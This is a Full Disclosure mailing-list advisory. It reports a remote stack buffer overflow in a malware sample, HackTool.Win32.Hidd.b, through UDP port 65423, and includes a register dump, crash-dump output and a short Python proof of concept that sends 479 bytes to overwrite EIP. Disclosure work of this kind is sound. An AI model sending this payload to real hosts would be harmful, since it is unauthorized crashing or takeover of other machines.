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Date: Wed, 11 Aug 2021 00:57:35 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] HackTool.Win32.Hidd.b / Remote Stack Buffer Overflow (UDP
	Datagram)

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/665a408981294ca49be23096363eec2f.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: HackTool.Win32.Hidd.b
Vulnerability: Remote Stack Buffer Overflow (UDP Datagram)
Description: The malware listens on UDP ports 52810 and 65423. Third-party
attackers who can reach an infected system can send a 479 byte payload to
port 65423 and trigger a classic stack buffer overflow overwriting the EIP,
ECX registers.
Type: PE32
MD5: 665a408981294ca49be23096363eec2f
Vuln ID: MVID-2021-0318
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 08/11/2021

Memory Dump:
EAX : 00000000
EBX : 00000000
ECX : 41414141
EDX : 77AC9D70     ntdll.77AC9D70
EBP : 000A12D8
ESP : 000A12B8
ESI : 00000000
EDI : 00000000
EIP : 41414141

EFLAGS : 00010246
ZF : 1
OF : 0
CF : 0
PF : 1
SF : 0
TF : 0     L'Ā'
AF : 0     L'Ā'
DF : 0
IF : 1
LastError : 00000000 (ERROR_SUCCESS)
LastStatus : 00000000 (STATUS_SUCCESS)
GS : 002B     athl_dump_scy.53002B
ES : 002B
CS : 0023
FS : 0053
DS : 002B
SS : 002B     '+'


dumpchk -y c:\symbols "c:\dump\athl.exe.604.dmp".

  Total memory: 684e000
Stream 3: type MemoryInfoListStream (16), size 00008080, RVA 0000A8EE
Stream 4: type ExceptionStream (6), size 000000A8, RVA 0000066C
  ThreadID 5056
  ExceptionCode C0000005
  ExceptionRecord 0
  ExceptionAddress 41414141
  Context record RVA 4194, size 2cc
Stream 5: type SystemInfoStream (7), size 00000038, RVA 000000E0
  ProcessorArchitecture   0000 (PROCESSOR_ARCHITECTURE_INTEL)
  ProcessorLevel          0006
  ProcessorRevision       9E09
  NumberOfProcessors      01
  MajorVersion            0000000A
  MinorVersion            00000000
  BuildNumber             00003FAB (16299)
  PlatformId              00000002 (VER_PLATFORM_WIN32_NT)
  CSDVersionRva           00002A94
                            Length: 0
  Product: WinNt, suite: SingleUserTS

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=65423

s=socket(AF_INET, SOCK_DGRAM)
s.connect((MALWARE_HOST, PORT))

PAYLOAD="A"*479
s.send(PAYLOAD)
s.close()

print("HackTool.Win32.Hidd.b / Remote Stack Buffer Overflow (UDP Datagram)")
print("MD5: 665a408981294ca49be23096363eec2f")
print("By Malvuln")


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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